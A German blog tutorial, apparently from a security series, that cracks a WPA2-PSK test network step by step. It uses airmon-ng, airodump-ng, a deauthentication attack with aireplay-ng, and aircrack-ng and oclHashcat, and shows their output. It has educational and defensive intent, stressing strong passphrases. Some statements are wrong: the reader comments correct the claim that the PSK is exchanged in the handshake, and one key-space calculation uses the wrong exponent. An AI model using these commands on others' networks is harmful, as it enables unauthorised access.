ITS Tagebuch – Tag 4 – WPA2 PSK knacken mit aircrack-ng und hashcat

Als zweites in unserer Drahtlosnetzwerk-Sicherheitssektion befassen wir uns mit dem neueren, besseren
Schutz WPA2. WPA2 verwendet nicht den schwachen RC4-Algorythmus zur Verschlüsselung der Daten,
und der Schlüssel kann auch nicht anhand von gesammelten Paketen einfach rekonstruiert werden.
Wir gehen in diesem Beispiel von einem WPA2 Netz mit PSK und CCMP Verschlüsselung aus.
Die größte Schwachstelle hier ist der Handshake. Bei diesem Four Way Handshake tauschen AP und
Client den PreSharedKey aus. Hat man diesen, kann man versuchen, den Netzwerkschlüssel zu erraten.
Hier liegt der entscheidende Unterschied zu WEP: Es nützt nichts, andere Daten zu analysieren; von
ihnen könnte man keinen Rückschluss auf den Schlüssel ziehen. Die einzige Methode, um an den
Schlüssel zu kommen, ist „raten“. Entweder mit Brute-Force oder mit Dictionary-Attacken. Also wieder
ganz normales Passwort Cracking, daher vorab schon unsere Lösung, um ein WPA2 Netz zu schützen:

Sichere Schlüssel. Lang und komplex.
Ein WPA2 Schlüssel darf bis zu 63 Zeichen lang sein. Würde man diese voll ausnutzen und den ASCII
Zeichenraum von 33 bis 126 als charset, hätten wir 94 mögliche Zeichen für jedes der 63 Zeichen im
Schlüssel. Macht 94^33 ~= 1,3*10^65 mögliche Kombinationen. Mit dem Cracker HashCat, den wir
nutzen werden, schafft man je nach Rechnerleistung etwa 500.000 Überprüfungen pro Sekunde.
Auch wenn es 5.000.000/sek wären, würde es im schlimmsten Fall 2,6*10^58 Sekunden dauern, bis der
Schlüssel erraten wurde. (Das sind 8,3*10^50 Jahre…)
Aber schon Passwörter mit Klein- und Großbuchstaben, Zahlen und den 12 Sonderzeichen oben auf der
Tastatur, 10 Zeichen lang, bieten sicherheit: 4923990397355877376 mögliche Kombinationen, niemand
wartet 31.000 Jahre bis er das Passwort von einem WLAN geknackt hat.

Nun, zur Theorie:
Wir zeichnen den 4-way-handshake auf und brute-forcen den Schlüssel mithilfe von Crackern.

Ausführung:
Das schwierigste beim Aufzeichnen des Handshakes ist es, einen kompletten, intakten Handshake zu
ergattern. Dazu muss das Signal gut genug sein und ein Gerät muss sich Protokollgemäß beim AP
Authentifizieren. Wir gehen davon aus, dass wir in Signalreichweite sind, also keine Störungen auftreten,
und das Protokoll muss auf jeden Fall eingehalten werden. Nun muss man warten, bis sich eine Station
beim AP anmeldet. Zuerst starten wir wieder airmon-ng damit wir unser monitor-interface erhalten.

root@bt:~# airmon-ng start wlan0
Interface Chipset Driver

wlan0 Atheros AR9285 ath9k - [phy0]
(monitor mode enabled on mon0)

Dann zeichnen wir Daten mit airodump-ng auf:

root@bt:~# airodump-ng --channel 1 --bssid AA:AA:AA:AA:AA:AA -w wpa2psk mon0
CH 1 ][ Elapsed: 3 mins ][ 2012-04-21 13:37

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:1D:19:75:1E:A7 -16 100 2199 118 0 1 54e. WPA2 CCMP PSK TacticalCode

BSSID STATION PWR Rate Lost Frames Probe

AA:AA:AA:AA:AA:AA BB:BB:BB:BB:BB:BB -29 54e-54 5408 72

Und wir warten… und warten… Zeit ist Geld, und wir haben keine Lust auf warten!
Wir sehen in der Übersicht von airodump, dass eine Station beim AP angemeldet ist. Jetzt müsste sich
diese nur einmal ab- und vor allem wieder anmelden, dann haben wir unseren Handshake.
Glücklicherweise gibt es dazu einen kleinen Trick: wir Deauthentifizieren die angemeldete Station.
Dies geschieht wie Injection über Wireless Management Frames: Diese werden normalerweise immer
und von jedem Angenommen, da sie unverschlüsselt sind. Kurz gesagt: Wir senden der Station ein Paket,
sie denkt, es kommt vom AP mit dem Befehl „melde dich ab“. Das muss die Station dann auch machen.
Meistens sind die WLAN-Karten so konfiguriert, dass sie trotzdem versuchen, sich wieder anzumelden,
was auch klappt. Und dann haben wir unseren Handshake. (Wie gesagt, wer Details will: Google oder
Studium ;) )
Das ganze wird wieder mit airepay-ng ausgeführt:

root@bt:~# aireplay-ng -0 1 -a AA:AA:AA:AA:AA:AA -c BB:BB:BB:BB:BB:BB mon0
13:37:00  Waiting for beacon frame (BSSID: AA:AA:AA:AA:AA:AA) on channel 1
13:37:00  Sending 64 directed DeAuth. STMAC: [BB:BB:BB:BB:BB:BB] [ 64|62 ACKs]

Im Normalfall sollten wir jetzt den Handshake mit airodump-ng aufgezeichnet haben. Ist dies nicht der
Fall, empfehle ich im Aircrack-Wiki nach Fehlerursachen zu gucken (hier gibt es einige)
Haben wir einen Handshake, kann man dies in airodump-ng sehen:

root@bt:~# airodump-ng --channel 1 --bssid AA:AA:AA:AA:AA:AA -w wpa2psk mon0
CH 1 ][ Elapsed: 3 mins ][ 2012-04-21 13:38 ][ WPA handshake: AA:AA:AA:AA:AA:AA

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:1D:19:75:1E:A7 -16 100 2199 118 0 1 54e. WPA2 CCMP PSK TacticalCode

BSSID STATION PWR Rate Lost Frames Probe

AA:AA:AA:AA:AA:AA BB:BB:BB:BB:BB:BB -29 54e-54 5408 72

WPA handshake: AA:AA:AA:AA:AA:AA zeigt an, dass wir den Handshake erfolgreich aufgenommen haben.
Jetzt muss der Handshake „nur noch“ geknackt werden. Und hier müssen wir einfach hoffen, dass wir
Glück haben. Wird ein zu komplexes Passwort verwendet, ist es aussichtslos. Ich bin aber voller
Hoffnung, dass wir unser Testnetz geknackt bekommen! Das geht entweder mit aircrack-ng:

root@bt:~# aircrack-ng -e TacticalCode -s -w dict wpa2psk-01.cap
Opening wpa2psk-01.cap
Read 2384 packets.
Opening wpa2psk-01.cap

Aircrack-ng 1.1 r2076

[00:00:00] 1 keys tested (888.30 k/s)

KEY FOUND! [ Visit:TacticalCode.BlogSpot.De ]

Master Key : 5F EB EA 5F 51 C1 C2 58 CD 08 7A 69 7C A3 93 FC
FB 01 DA 0A 0D D5 53 03 D3 52 13 9E 61 31 EE EF

Transient Key : EB 17 D3 5A 30 6C 8C 18 0E 22 42 15 96 0C 64 15
91 E4 2D 86 26 97 E9 7B A6 62 90 97 E0 BB 23 E0
A7 A9 92 04 84 8C 55 7A FA E9 F2 DE B5 0E D9 31
55 FB FD 15 58 48 B3 05 72 F4 24 4D 02 21 93 43

EAPOL HMAC : F9 27 5E F5 43 D8 34 4A 25 2D ED 57 E6 EF BB 1B
root@bt:~# aircrack-ng -S
3536 k/s

Dies benutzt aber nur die CPU zum Berechnen und Abgleichen. (3536keys/sek mit bruteforce)
Effizienter ist es, mit der GPU zu arbeiten:
Sie ist für viele parallele Aufgaben mit hohem Datendurchsatz konstruiert, und daher viel schneller
als unser Hauptprozessor. Ich benutze dazu HashCat, das Programm ist für Windows und Linux in
32 und 64bit erhältlich unter hashcat.net
Zuvor müssen wir aber noch die .cap Datei in ein für Hashcat lesbares Format umwandeln.
Wie das geht sieht man hier. (Online Konverter)

root@bt:/pentest/passwords/oclhashcat+# ./oclHashcat-plus32.bin -m2500 handshake.hccap dict
oclHashcat-plus v0.07 by atom starting...
Hashes: 1
Unique salts: 1
Unique digests: 1
Bitmaps: 8 bits, 256 entries, 0x000000ff mask, 1024 bytes
Rules: 1
GPU-Loops: 64
GPU-Accel: 16
Password lengths range: 8 - 15
Platform: AMD compatible platform found
Watchdog: Temperature limit set to 90c
Device #1: ATI RV770, 512MB, 0Mhz, 10MCU
Device #1: Allocating 12MB host-memory
Device #1: Kernel ./kernels/4098/m2500.ATI RV770.32.kernel (2080719 bytes)

Scanning dictionary example.dict: 1047576 bytes (86.56%), 112368 words, 112368 k
Scanned dictionary example.dict: 1210274 bytes, 129990 words, 129990 keyspace, starting attack...

[s]tatus [p]ause [r]esume [q]uit => s
Status.......: Running
Input.Mode...: File (example.dict)
Hash.Target..: TacticalCode
Hash.Type....: WPA/WPA2
Time.Running.: 1 sec
Time.Left....: 3 secs
Time.Util....: 1310.8ms/10.5ms Real/CPU, 0.8% idle
Speed........: 15624 c/s Real, 15761 c/s GPU
Recovered....: 0/1 Digests, 0/1 Salts
Progress.....: 83599/129990 (64.31%)
Rejected.....: 63119/83599 (75.50%)
HW.Monitor.#1: 71% GPU, 35c Temp
TacticalCode:Visit:TacticalCode.BlogSpot.De

Status.......: Cracked
Input.Mode...: File (dict)
Hash.Target..: TacticalCode
Hash.Type....: WPA/WPA2
Time.Running.: 6 secs
Time.Util....: 6333.7ms/10.5ms Real/CPU, 0.2% idle
Speed........: 10135 c/s Real, 1401 c/s GPU
Recovered....: 1/1 Digests, 1/1 Salts
Progress.....: 129736/129990 (99.80%)
Rejected.....: 65544/129736 (50.52%)
HW.Monitor.#1: 28% GPU, 35c Temp
#===========================================================
#==========Brute-Force Speed:===============================
Time.Running.: 9 secs
Time.Left....: 0 secs
Time.Util....: 9004.9ms/0.0ms Real/CPU, 0.0% idle
Speed........: 0 c/s Real, 0 c/s GPU
Recovered....: 0/1 Digests, 0/1 Salts
Progress.....: 56056145/308915776 (18.15%)

Die obere Attacke lief über ein Wörterbuch mit 15.500 Versuchen pro Sekunde (vgl. aircrack-ng
mit <1000/s), unten ist ein bruteforce-prozess zu sehen. Die Speed-Anzeige zeigt 0 an, jedoch läuft das Programm seit 9 Sekunden und hat 56 Mio Kombinationen versucht, das sind 6,2Mio/sek! (Vgl. aircrack-ng mit 3500/sek, 1700-mal langsamer!) Anmerkung: hashcat (alle Bestandteile des Frameworks) unterstützen nur Passwörter
bis maximal 15 Zeichen! Der Key „Visit:TacticalCode.BlogSpot.De“ konnte daher nicht
ordnungsgemäß gecrackt werden. Die Ausgabe war exemplarisch und dient nur dem Zweck
zu demostrieren, wie viel schneller das Passwort-cracken auf modernen Systemen
mittlerweile funktioniert. (Unterstützung für plaintext > 15chars wird es wohl auch
in Zukunft nicht geben – Quelle)

Ich habe in den Beispielen ein Wörterbuch verwendet, in dem glücklicherweise unser WLAN Schlüssel
enthalten war! (Puh, Glück gehabt.)

Ich fasse zusammen: Wir sind nun in der Lage, WEP und WPA2-PSK Netze zu knacken. Wir könnten
also genau so gut in einer Großstadt in unserem Auto vor einer Wohnung parken, und uns unbemerkt
Zugriff auf ein WLAN verschaffen. Könnten, tun wir aber nicht, ist illegal!
Jedoch ist es Sorgeerregend, dass es möglich ist. Und damit jetzt auch niemand denkt „Ja und was soll
jemand anrichten können, wenn er in meinem Netzwerk ist?“, werde ich demnächst zeigen, dass es
ziemlich leicht ist, Passwörter abzufangen, Sessions zu klauen oder Daten zu manipulieren.
Das aber, an einem anderen Tag.

Merke: Bei WPA2-PSK Netzen immer starke Passwörter verwenden!
Und wenn es nur „BÄM-Onomatopoesie123?!“ ist.

Bis zum nächsten Mal, wenn es wieder heißt: „Ich sehe was, was du nicht siehst!“ (Deinen Traffic)
MfG
NoMad

Dieser Eintrag wurde veröffentlicht in ITS Tagebuch, Security
Bookmarken: Permanent-Link Schreibe einen Kommentar oder hinterlasse einen Trackback: Trackback-URL.

2 Kommentare

  1. Franz
    Erstellt am 28. Juni 2015 um 19:47 | Permalink zum Kommentar

    Hi Damon,

    vielen Dank für den Beitrag. Irritierend finde ich jedoch den Satz: „Bei diesem Four Way Handshake tauschen AP und Client den PreSharedKey aus.“ Dem ist nicht so. der PSK wird nicht ausgetauscht. Er liegt auf beiden Seiten vor (preshared halt) und dient der Authentisierung. Diese erfolgt vor dem 4-Wege-Handshake. Anschließend bilden AP und Client aus dem PSK einen Hash-Wert (PBKDF2-SHA1). Da der PSK auf beiden Seiten vorliegt, muss er nicht ausgetauscht werden. Das Ergebnis ist der Pairwise Master Key (PMK) Erst jetzt beginnt der 4-Wege-Handshake. Dabei wird aus dem PMK der Pairwise Transient Key (PTK) gebildet.
    Nach dem 4-Wege-Handshake kommt dann noch ein 2-Wege-Handshake, nämlich der Group Key Handshake. Dabei wird, ebenfalls aus dem PMK, ein Group Key für die Verschlüsselung von Multi- und Broadcasts gebildet.

    Demnächst werde ich dann mal den Crack nachvollziehen.

    Gruß,

    Franz

  2. Hans
    Erstellt am 9. September 2015 um 13:09 | Permalink zum Kommentar

    Noch immer zu viele Fehler in diesem Artikel. PSK wird nicht ausgetauscht, er ist bereits vorhanden daher der Name. Bitte nachbessern.

Ein Trackback

  • Von Rechencluster für Hashcat mit VCL - Tactical Code am 11. Februar 2013 um 20:00

    […] In vorherigen Artikeln auf TacticalCode wurde bereits die Thematik der Berechnung von Passwörtern/Passphrases aufgegriffen, wie z.B. in Damons Artikel über WPA2-PSKs. […]

Achtung: Wordpress interpretiert bestimmte Zeichenfolgen als Markup und verändert diese. Nutzt für Programmcode lieber Gist oder PasteBin-Services und verlinkt die Code-Schnipsel.

Post a Comment

Ihre E-Mail wird niemals veröffentlicht oder verteilt. Benötigte Felder sind mit * markiert

*
*

Du kannst diese HTML Tags und Attribute verwenden: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>